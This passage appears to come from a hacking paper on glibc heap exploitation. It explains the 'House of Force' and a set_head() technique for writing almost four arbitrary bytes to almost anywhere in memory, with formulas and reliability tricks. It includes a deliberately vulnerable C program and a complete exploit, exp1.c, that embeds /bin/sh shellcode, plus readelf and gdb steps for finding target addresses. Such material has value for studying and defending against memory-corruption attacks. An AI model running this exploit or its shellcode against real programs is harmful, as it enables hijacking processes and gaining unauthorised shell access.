The idea behind "The House of Force" is quite simple but there are specific steps that need to be followed. Below, you will find a brief summary of all the steps.

Step one:

The first step in the "House of Force" consists in overflowing the size field of the top chunk to make the malloc library think it is bigger than it actually is. The preferred new size of the top chunk should be 0xffffffff. Below is a an ascii graphic of the memory layout at the time of the overflow. Notice that the location of the top chunk is somewhere in the heap.

0xbfffffff ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| stack |

|

:

:

.

:

:

|

|

| heap |<‑‑‑ Top chunk

|

+‑‑‑‑‑‑‑‑

| global offset |

| table |

+‑‑‑‑‑‑‑‑

|

|

| text |

|

|

0x08048000 ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Step two:

After this, a call to malloc with a user‑supplied size should be issued. With this call, the top chunk will be split in two parts. One part will be returned to the user, and the other part will be the remainder chunk (the top chunk).

The purpose of this step is to move the top chunk right before a global offset table entry. The new location of the top chunk is the sum of the current address of the top chunk and the value of the malloc call. This sum is done with the following line of code:

‑‑[ From malloc.c

remainder = chunk_at_offset(victim, nb);

After the malloc call, the memory layout should be similar to the representation below:

0xbfffffff ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| stack |

|

:

:

.

:

:

|

|

| heap |

|

+‑‑‑‑‑‑‑‑

| global offset |

| table |

+‑‑‑‑‑‑‑‑Top chunk

|

|

| text |

|

|

0x08048000 ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Step three:

Finally, another call to malloc needs to be done. This one needs to be large enough to trigger the top chunk code. If the user has some sort of control over the content of this buffer, he can then overwrite entries inside the global offset table and he can seize control of the process. Look at the following representation for the current memory layout at the time of the allocation:

0xbfffffff ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| stack |

|

:

:

.

:

:

|

|

| heap |<‑‑‑‑ Top chunk

|

+‑‑‑‑‑‑‑‑

| global offset | |‑ Allocated memory

| table | |

+‑‑‑‑‑‑‑‑

|

|

| text |

|

|

0x08048000 ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

‑‑‑‑[ 2.2 ‑ The basics of set_head()

Now that the basic review of the "House of Force" technique is done, let's look at the set_head() technique. The basic idea behind this technique is to use the set_head() macro to write almost four arbitrary bytes to almost anywhere in memory. This macro is normally used to set the value of the size field of a memory chunk to a specific value. Let's have a peak at the code:

‑‑[ From malloc.c:

/* Set size/use field */

#define set_head(p, s) ((p)‑>size = (s))

This line is very simple to understand. It takes the memory chunk 'p', modifies its size field and replace it with the value of the variable 's'. If the attacker has control of those two parameters, it may be possible to modify the content of an arbitrary memory location with a value that he controls.

To trigger the particular call to set_head() that could lead to this arbitrary overwrite, two specific steps need to be followed. These steps are described below.

First step:

The first step of the set_head() technique consists in overflowing the size field of the top chunk to make the malloc library think it is bigger than it actually is. The specific value that you will overwrite with will depend on the parameters of the exploitable situation. Below is an ascii graphic of the memory layout at the time of the overflow. Notice that the location of the top chunk is somewhere in the heap.

0xbfffffff ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| stack |

|

:

:

.

:

:

|

|

| heap |<‑‑‑ Top chunk

|

+‑‑‑‑‑‑‑‑

|

| data |

|

+‑‑‑‑‑‑‑‑

|

|

| text |

|

|

0x08048000 ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Second step:

After this, a call to malloc with a user‑supplied size should be issued. With this call, the top chunk will be split in two parts. One part will be returned to the user, and the other part will be the remainder chunk (the top chunk).

The purpose of this step is to move the top chunk before the location that you want to overwrite. This location needs to be on the stack, and you will see why at section 4.2.2. During this step, the malloc code will set the size of the new top chunk with the set_head() macro. Look at the representation below to better understand the memory layout at the time of the overwrite:

0xbfffffff ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| stack |

|

+‑‑‑‑‑‑‑‑

| size of topchunk|

+‑‑‑‑‑‑‑‑

|prev_size not use|

+‑‑‑‑‑‑‑‑Top chunk

|

:

:

.

:

:

|

|

| heap |

|

+‑‑‑‑‑‑‑‑

|

| data |

|

+‑‑‑‑‑‑‑‑

|

|

| text |

|

|

0x08048000 ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

If you control the new location of the top chunk and the new size of the top chunk, you can get a "write almost 4 arbitrary bytes to almost anywhere" primitive.

‑‑‑‑[ 2.3 ‑ The details of set_head()

The set_head macro is used many times in the malloc library. However, it's used at a particularly interesting emplacement where it's possible to influence its parameters. This influence will let the attacker overwrite 4 bytes in memory with a value that he can control.

When there is a call to malloc, different methods are tried to allocate the requested memory. MaXX did a pretty great job at explaining the malloc algorithm in section 3.5.1 of his text[3]. Reading his text is highly suggested before continuing with this text. Here are the main points of the algorithm:

1. Try to find a chunk in the bin corresponding to the size of the request;

2. Try to use the remainder chunk;

3. Try to find a chunk in the regular bins.

If those three steps fail, interesting things happen. The malloc function tries to split the top chunk. The 'use_top' code portion is then called. It's in that portion of code that it's possible to take advantage of a call to set_head(). Let's analyze the use_top code:

‑‑[ From malloc.c

01 Void_t*

02 _int_malloc(mstate av, size_t bytes)

03 {

04 INTERNAL_SIZE_T nb; /* normalized request size */

05

06 mchunkptr victim; /* inspected/selected chunk */

07 INTERNAL_SIZE_T size; /* its size */

08

09 mchunkptr remainder; /* remainder from a split */

10 unsigned long remainder_size; /* its size */

11

12

13 checked_request2size(bytes, nb);

14

15 [ ... ]

16

17 use_top:

18

19 victim = av‑>top;

20 size = chunksize(victim);

21

22 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 23 remainder_size = size ‑ nb;

24 remainder = chunk_at_offset(victim, nb);

25 av‑>top = remainder;

26 set_head(victim, nb | PREV_INUSE |

27 (av != &main_arena ? NON_MAIN_ARENA : 0));

28 set_head(remainder, remainder_size | PREV_INUSE);

29

30 check_malloced_chunk(av, victim, nb);

31 return chunk2mem(victim);

32 }

All the magic happens at line 28. By forcing a particular context inside the application, it's possible to control set_head's parameters and then overwrite almost any memory addresses with almost four arbitrary bytes.

Let's see how it's possible to control these two parameters, which are 'remainder' and 'remainder_size' :

1. How to get control of 'remainder_size':

a. At line 13, 'nb' is filled with the normalized size of the value of the malloc call. The attacker should have control on the value of this malloc call.

b. Remember that this technique requires that the size field of the top chunk needs to be overwritten by the overflow. At line 19 & 20, the value of the overwritten size field of the top chunk is getting loaded in 'size'.

c. At line 22, a check is done to ensure that the top chunk is large enough to take care of the malloc request. The attacker needs that this condition evaluates to true to reach the set_head() macro at line 28.

d. At line 23, the requested size of the malloc call is subtracted from the size of the top chunk. The remaining value is then stored in 'remainder_size'.

2. How to get control of 'remainder':

a. At line 13, 'nb' is filled with the normalized size of the value of the malloc call. The attacker should have control of the value of this malloc call.

b. Then, at line 19, the variable 'victim' gets filled with the address of the top chunk.

c. After this, at line 24, chunk_at_offset() is called. This macro adds the content of 'nb' to the value of 'victim'. The result will be stored in 'remainder'.

Finally, at line 28, the set_head() macro modifies the size field of the fake remainder chunk and fills it with the content of the variable 'remainder_size'. This is how you get your "write almost 4 arbitrary bytes to almost anywhere in memory" primitive.

‑‑[ 3 ‑ Automation

It was explained in section 2.3 that the variables 'remainder' and 'remainder_size' will be used as parameters to the set_head macro. The following steps will explain how to proceed in order to get the desired value in those two variables.

‑‑‑‑[ 3.1 ‑ Define the basic properties

Before trying to exploit a security hole with the set_head technique, the attacker needs to define the parameters of the vulnerable context. These parameters are:

1. The return location: This is the location in memory that you want to write to. It is often referred as 'retloc' through this paper.

2. The return address: This is the content that you will write to your return location. Normally, this will be a memory address that points to your shellcode. It is often referred as 'retadr' through this paper.

3. The location of the topchunk: To use this technique, you must know the exact position of the top chunk in memory. This location is often referred as 'toploc' through this paper.

‑‑‑‑[ 3.2 ‑ Extract the formulas

The attacker has control on two things during the exploitation stage. First, the content of the overwritten top chunk's size field and secondly, the size parameter to the malloc call. The values that the attacker chooses for these will determine the exact content of the variables 'remainder' and 'remainder_size' later used by the set_head() macro.

Below, two formulas are presented to help the attacker find the appropriate values.

1. How to get the value for the malloc parameter:

a. The following line is taken directly from the malloc.c code:

remainder = chunk_at_offset(victim, nb)

b. 'nb' is the normalized value of the malloc call. It's the result of the macro request2size(). To make things simpler, let's add 8 to this value to take care of this macro:

remainder = chunk_at_offset(victim, nb + 8)

c. chunk_at_offset() adds the normalized size 'nb' to the top chunk's location:

remainder = toploc + (nb + 8)

e. 'remainder' is the return location (i.e. 'retloc') and 'nb' is the malloc size (i.e. 'malloc_size'):

retloc = toploc + (malloc_size + 8)

d. Isolate the 'malloc_size' variable to get the final formula:

malloc_size = (retloc ‑ toploc ‑ 8)

2. The second formula is how to get the new size of the top chunk.

a. The following line is taken directly from the malloc.c code:

remainder_size = size ‑ nb;

b. 'size' is the size of the top chunk (i.e. 'topchunk_size'), and 'nb' is the normalized parameter of the malloc call (i.e. 'malloc_size'):

remainder_size = topchunk_size ‑ malloc_size

c. 'remainder_size' is in fact the return address (i.e. retadr'):

retadr = topchunk_size ‑ malloc_size

d. Isolate 'topchunk_size' to get the final formula:

topchunk_size = retadr + malloc_size

e. topchunk_size will get its three least significant bits cleared by the macro chunksize(). Let's consider this in the formula by adding 8 to the right side of the equation:

topchunk_size = (retadr + malloc_size + 8)

g. Take into consideration that the PREV_INUSE flag is being set in the set_head() macro:

topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE

‑‑‑‑[ 3.3 ‑ Compute the values

You now have the two basic formulas:

1. malloc_size = (retloc ‑ toploc ‑ 8)

2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE

You can now proceed with finding the exact values that you will plug into your exploit.

To facilitate the integration of those formulas in your exploit code, you can use the set_head_compute() function found in the file(1) utility exploit code (refer to section 6.2.3). Here is the prototype of the function:

struct sethead * set_head_compute

(unsigned int retloc, unsigned int retadr, unsigned int toploc)

The structure returned by the function set_head_compute() is defined this way:

struct sethead {

unsigned long topchunk_size;

unsigned long malloc_size;

}

By giving this function your return location, your return address and your top chunk location, it will compute the exact malloc size and top chunk size to use in your exploit. It will also tell you if it's possible to execute the requested write operation based on the return address and the return location you have chosen.

‑‑[ 4 ‑ Limitations

At the time of writing this paper, there was no simple and easy way to exploit a heap overflow when the top chunk is involved. Each exploitation technique needs a particular context to work successfully. The set_head technique is no different. It has some requirements to work properly.

Also, it's not a real "write 4 arbitrary bytes to anywhere" primitive. In fact, it would be more of a "write almost 4 arbitrary bytes to almost anywhere in memory" primitive.

‑‑‑‑[ 4.1 ‑ Requirements of two different techniques

Specific elements need to be present to exploit a situation in which the wilderness chunk is involved. These elements tend to impose a lot of constraints when trying to exploit a program. Below, the requirements for the set_head technique are listed, alongside those of the "House of Force" technique. As you will see, each technique has its pros and cons.

‑‑‑‑‑‑[ 4.1.1 ‑ The set_head() technique

Minimum requirements:

1. The size field of the topchunk needs to be overwritten with a value that the attacker can control;

2. Then, there is a call to malloc with a parameter that the attacker can control;

This technique will let you write almost 4 arbitrary bytes to almost anywhere.

‑‑‑‑‑‑[ 4.1.2 The "House of Force" technique

Minimum requirements:

1. The size field of the topchunk must be overwritten with a very large value;

2. Then, there must be a first call to malloc with a very large size. An important point is that this same allocated buffer should only be freed after the third step.

3. Finally, there should be a second call to malloc. This buffer should then be filled with some user supplied data.

This technique will, in the best‑case scenario, let you overwrite any region in memory with a string of an arbitrary length that you control.

‑‑‑‑[ 4.2 ‑ Almost 4 bytes to almost anywhere technique

This set_head technique is not really a "write 4 arbitrary bytes anywhere in memory" primitive. There are some restrictions in malloc.c that greatly limit the possible values an attacker can use for the return location and the return address in an exploit. Still, it's possible to run arbitrary code if you carefully choose your values.

Below you will find the three main restrictions of this technique:

‑‑‑‑‑‑[ 4.2.1 ‑ Everything in life is a multiple of 8

A disadvantage of the set_head technique is the presence of macros that ensure memory locations and values are a multiple of 8 bytes. These macros are:

‑ checked_request2size() and

‑ chunksize()

Ultimately, this will have some influence on the selection of the return location and the return address.

The memory addresses that you can overwrite with the set_head technique need to be aligned on a 8 bytes boundary. Interesting locations to overwrite on the stack usually include a saved EIP of a stack frame or a function pointer. These pointers are aligned on a 4 bytes boundary, so with this technique, you will be able to modify one memory address on two.

The return address will also need to be a multiple of 8 (not counting the logical OR with PREV_INUSE). Normally, the attacker has the possibility of providing a NOP cushion right before his shellcode, so this is not really a big issue.

‑‑‑‑‑‑[ 4.2.2 ‑ Top chunk's size needs to be bigger than the requested malloc size

This is the main disadvantage of the set_head technique. For the top chunk code to be triggered and serve the memory request, there is a verification before the top chunk code is executed:

‑‑[ From malloc.c

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {

In short, this line requires that the size of the top chunk is bigger than the size requested by the malloc call. Since the variable 'size' and 'nb' are computed from the return location, the return address and the top chunk's location, it will greatly limit the content and the location of the arbitrary overwrite operation. There is still a valid combination of a return address and a return location that exists.

Let's see what the value of 'size' and 'nb' for a given return location and return address will be. Let's find out when there is a situation in which 'size' is greater than 'nb'. Consider the fact that the location of the top chunk is static and it's at 0x080614f8:

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

| return | return || size | nb |

| location | address || | |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

| 0x0804b150 | 0x08061000 || 134523993 | 4294876240 | | 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 | | 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 | | 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <‑ !!!!!

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

As you can see from this chart, the only time that you get a situation where 'size' is greater than 'nb' is when your return location is somewhere in the stack and when your return address is somewhere in the heap.

‑‑‑‑‑‑[ 4.2.3 ‑ Logical OR with PREV_INUSE

When the set_head macro is called, 'remainder_size', which is the return address, will be altered by a logical OR with the flag PREV_INUSE:

‑‑[ From malloc.c

#define PREV_INUSE 0x1

set_head(remainder, remainder_size | PREV_INUSE);

It was said in section 4.2.1 that the return address will always be a multiple of 8 bytes due to the normalisation of some macros. With the PREV_INUSE logical OR, it will be a multiple of 8 bytes, plus 1. With an NOP cushion, this problem is solved. Compared to the previous two, this restriction is a very small one.

‑‑[ 5 ‑ Taking set_head() to the next level

As a general rule, hackers try to make their exploit as reliable as possible. Exploiting a vulnerability in a confined lab and in the wild are two different things. This section will try to present some techniques to improve the reliability of the set_head technique.

‑‑‑‑[ 5.1 ‑ Multiple overwrites

One way to make the exploitation process a lot more reliable is by using multiple overwrites. Indeed, having the possibility of overwriting a memory location with 4 bytes is good, but the possibility to write multiple times to memory is even better[8]. Being able to overwrite multiple memory locations with set_head will increase your chance of finding a valid return location on the stack.

A great advantage of the set_head technique is that it does not corrupt internal malloc information in a way that prevents the program from working properly. This advantage will let you safely overwrite more than one memory location.

To correctly put this technique in place, the attacker will need to start overwriting addresses at the top of the stack, and go downward until he seizes control of the program. Here are the possible addresses that set_head() lets you overwrite on the stack:

1: 0xbffffffc

2: 0xbffffff4

3: 0xbfffffec

4: 0xbfffffe4

5: 0xbfffffdc

6: 0xbfffffd4

7: 0xbfffffcc

8: 0xbfffffc4

9: ...

Eventually, the attacker will fall on a memory location which is a saved EIP in a stack frame. If he's lucky enough, this new saved EIP will be popped in the EIP register.

Remember that for a successfull overwrite, the attacker needs to do two things:

1. Overwrite the top chunk with a specific value; 2. Make a call to malloc with a specific value.

Based on the formulas that were found in section 3.3, let's compute the values for the top chunk size and the size for the malloc call for each overwrite operation. Let's take the following values for an example case:

The location of the top chunk: 0x08050100 The return address: 0x08050200 The return location: Decrementing from 0xbffffffc

to 0xbfffffc4

+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

| return || top chunk | malloc |

| location || size | size |

+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

| 0xbffffffc || 3221225725 | 3086679796 |

| 0xbffffff4 || 3221225717 | 3086679788 |

| 0xbfffffec || 3221225709 | 3086679780 |

| 0xbfffffe4 || 3221225701 | 3086679772 |

| 0xbfffffdc || 3221225693 | 3086679764 |

| 0xbfffffd4 || 3221225685 | 3086679756 |

| 0xbfffffcc || 3221225677 | 3086679748 |

| 0xbfffffc4 || 3221225669 | 3086679740 |

| ... || ... |

+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

By looking at this chart, you can determine that for each overwrite operation, the attacker would need to overwrite the size of the top chunk with a new value and make a call to malloc with an arbitrary value. Would it be possible to improve this a little bit? It would be great if the only thing you needed to change between each overwrite operation was the size of the malloc call, leaving the size of the top chunk untouched.

Indeed, it's possible. Look closely at the functions used to compute malloc_size and topchunk_size. Let's say the attacker has only one possibility to overwrite the size of the top chunk, would it still be possible to do multiple overwrites using the set_head technique while keeping the same size for the top chunk?

1. malloc_size = (retloc ‑ toploc ‑ 8)

2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE

If you look at how 'topchunk_size' is computed, it seems possible. By changing the value of 'retloc', it will affect 'malloc_size'. Then, 'malloc_size' is used to compute 'topchunk_size'. By playing with 'retadr' in the second formula, you can always hit the same 'topchunk_size'. Let's look at the same example, but this time with a changing return address. While the return location is decrementing by 8, let's increment the return address by 8.

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑

| return | return || top chunk | malloc | | location | address || size | size |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑

| 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 | | 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 | | 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 | | 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 | | 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 | | 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 | | 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 | | 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 |

| ... | ... ||

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑

You can see that the size of the top chunk is always the same. On the other hand, the return address changes through the multiple overwrites. The attacker needs to have an NOP cushion big enough to adapt to this variation.

Refer to section 6.1.2.1 to get a sample vulnerable scenario exploitable with multiple overwrites.

‑‑‑‑[ 5.2 ‑ Infoleak

As was stated in the Shellcoder's Handbook[9]: "An information leak can make even a difficult bug possible". Most of the time, people who write exploits try to make them as reliable as possible. If hackers, using an infoleak technique, can improve the reliability of the set_head technique, well, that's pretty good. The technique is already hard to use because it relies on unknown memory locations, which are:

‑ The return location

‑ The top chunk location

‑ The return address

When there is an overwrite operation, if the attacker is able to tell if the program has crashed or not, he can turn this to his advantage. Indeed, this knowledge could help him find one parameter of the exploitable situation, which is the top chunk location.

The theory behind this technique is simple. If the attacker has the real address of the top chunk, he will be able to write at the address 0xbffffffc but not at the address 0xc0000004.

Indeed, a write operation at the address 0xbffffffc will work because this address is in the stack and its purpose is to store the environment variables of the program. It does not significantly affect the behaviour of the program, so the program will still continue to run normally.

On the other hand, if the attacker wrote in memory starting from 0xc0000000, there will be a segmentation fault because this memory region is not mapped. After this violation, the program will crash.

To take advantage of this behaviour, the attacker will have to do a series of write operations while incrementing or decrementing the location of the top chunk. For each top chunk location tried, there should be 6 write operations.

Below, you will find the parameters of the exploitable situation to use during the 6 write operations. The expected result is in the right column of the chart. If you get these results, then the value used for the location of the top chunk is the right one.

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

| return | return || Did it |

| location | address || segfault ? |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

| 0xc0000014 | 0x07070707 || Yes |

| 0xc000000c | 0x07070707 || Yes |

| 0xc0000004 | 0x07070707 || Yes |

| 0xbffffffc | 0x07070707 || No |

| 0xbffffff4 | 0x07070707 || No |

| 0xbfffffec | 0x07070707 || No |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑

If the six write operations made the program segfault each time, then the attacker is probably writing after 0xbfffffff or below the limit of the stack.

If the 6 write operations succeeded and the program did not crash, then it probably means that the attacker overwrote some values in the stack. In that case, decrement the value of the top chunk location to use.

‑‑[ 6 ‑ Examples

The best way to learn something new is probably with the help of examples. Below, you will find some vulnerable codes and their exploits.

A scenario‑based approach is taken here to demonstrate the exploitability of a situation. Ultimately, the exploitability of a context can be defined by specific characterictics.

Also, the application of the set_head() technique on a real life example is shown with the file(1) utility vulnerability. The set_head technique was found to exploit this specific vulnerability.

‑‑‑‑[ 6.1 ‑ The basic scenarios

To simplify things, it's useful to define exploitable contexts in terms of scenarios. For each specific scenario, there should be a specific way to exploit it. Once the reader has learned those scenarios, he can then match them with vulnerable situations in softwares. He will then know exactly what approach to use to make the most out of the vulnerability.

‑‑‑‑‑‑[ 6.1.1.1 ‑ The most basic form of the set_head() technique

This scenario is the most basic form of the application of the set_head() technique. This is the approach that was used in the file(1) utility exploit.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ scenario1.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <stdlib.h>

int main (int argc, char *argv[]) {

char *buffer1;

char *buffer2;

unsigned long size;

/* [1] */ buffer1 = (char *) malloc (1024);

/* [2] */ sprintf (buffer1, argv[1]);

size = strtoul (argv[2], NULL, 10);

/* [3] */ buffer2 = (char *) malloc (size);

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ end of scenario1.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a brief description of the important lines in this code:

[1]: The top chunk is split and a memory region of 1024 bytes is requested.

[2]: A sprintf call is made. The destination buffer is not checked to see if it is large enough. The top chunk can then be overwritten here.

[3]: A call to malloc with a user‑supplied size is done.

‑‑‑‑‑‑[ 6.1.1.2 ‑ Exploit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ exp1.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

Exploit for scenario1.c

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

// The following #define are from malloc.c and are used

// to compute the values for the malloc size and the top chunk size.

#define PREV_INUSE 0x1

#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA

#define SIZE_SZ (sizeof(size_t))

#define MALLOC_ALIGNMENT (2 * SIZE_SZ)

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT ‑ 1)

#define MIN_CHUNK_SIZE 16

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK))

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)

struct sethead {

unsigned long topchunk_size;

unsigned long malloc_size;

};

/* linux_ia32_exec ‑ CMD=/bin/sh Size=68 Encoder=PexFnstenvSub

http://metasploit.com */

unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3";

struct sethead * set_head_compute

(unsigned long retloc, unsigned long retadr, unsigned long toploc) {

unsigned long check_retloc, check_retadr;

struct sethead *shead;

shead = (struct sethead *) malloc (8);

if (shead == NULL) {

fprintf (stderr,

"‑‑[ Could not allocate memory for sethead structure\n"); exit (1);

}

if ( (toploc % 8) != 0 ) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the top chunk location.", toploc);

toploc = toploc ‑ (toploc % 8);

fprintf (stderr, " Using 0x%x instead\n", toploc); } else

fprintf (stderr,

"‑‑[ Using 0x%x as the top chunk location.\n", toploc);

// The minus 8 is to take care of the normalization

// of the malloc parameter

shead‑>malloc_size = (retloc ‑ toploc ‑ 8);

// By adding the 8, we are able to sometimes perfectly hit

// the return address. To hit it perfectly, retadr must be a multiple

// of 8 + 1 (for the PREV_INUSE flag).

shead‑>topchunk_size = (retadr + shead‑>malloc_size + 8) | PREV_INUSE;

if (shead‑>topchunk_size < shead‑>malloc_size) { fprintf (stderr,

"‑‑[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "‑‑[ Topchunk code will not be triggered\n"); exit (1);

}

check_retloc = (toploc + request2size (shead‑>malloc_size) + 4); if (check_retloc != retloc) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return location.\n", retloc);

check_retadr = ( (shead‑>topchunk_size & ~(SIZE_BITS)) ‑ request2size (shead‑>malloc_size)) | PREV_INUSE; if (check_retadr != retadr) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return address.\n", retadr);

return shead;

}

void

put_byte (char *ptr, unsigned char data) {

*ptr = data;

}

void

put_longword (char *ptr, unsigned long data) {

put_byte (ptr, data);

put_byte (ptr + 1, data >> 8);

put_byte (ptr + 2, data >> 16);

put_byte (ptr + 3, data >> 24);

}

int main (int argc, char *argv[]) {

char *buffer;

char malloc_size_string[20];

unsigned long retloc, retadr, toploc;

unsigned long topchunk_size, malloc_size; struct sethead *shead;

if ( argc != 4) {

printf ("wrong number of arguments, exiting...\n\n"); printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]); return 1;

}

sscanf (argv[1], "0x%x", &retloc);

sscanf (argv[2], "0x%x", &retadr);

sscanf (argv[3], "0x%x", &toploc);

shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead‑>topchunk_size; malloc_size = shead‑>malloc_size;

buffer = (char *) malloc (1036);

memset (buffer, 0x90, 1036);

put_longword (buffer+1028, topchunk_size); memcpy (buffer+1028‑strlen(scode), scode, strlen (scode)); buffer[1032]=0x0;

snprintf (malloc_size_string, 20, "%u", malloc_size); execl ("./scenario1", "scenario1", buffer, malloc_size_string, NULL);

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ end of exp1.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here are the steps to find the 3 memory values to use for this exploit.

1‑ The first step is to generate a core dump file from the vulnerable program. You will then have to analyze this core dump to find the proper values for your exploit.

To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section. Normally, the heap will start just after the BSS section:

bash$ readelf ‑S ./scenario1 | grep bss

[22] .bss NOBITS 080495e4 0005e4 000004

The BSS section starts at 0x080495e4. Let's call the exploit the following way, and remember to replace 0x080495e4 for the BSS value you have found:

bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4

‑‑[ Impossible to use 0x80495e4 as the top chunk location. Using 0x80495e0 instead

‑‑[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead

‑‑[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1 instead

Segmentation fault (core dumped)

bash$

2‑ Call gdb on that core dump file.

bash$ gdb ‑q scenario1 core.2212

Core was generated by `scenario1'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /usr/lib/debug/libc.so.6...done.

Loaded symbols for /usr/lib/debug/libc.so.6

Reading symbols from /lib/ld‑linux.so.2...done.

Loaded symbols for /lib/ld‑linux.so.2

#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082

4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb)

3‑ The ESI register contains the address of the top chunk. It might be another register for you.

(gdb) info reg esi

esi 0x8049a38 134519352

(gdb)

4‑ Start searching before the location of the top chunk to find the NOP cushion. This will be the return address.

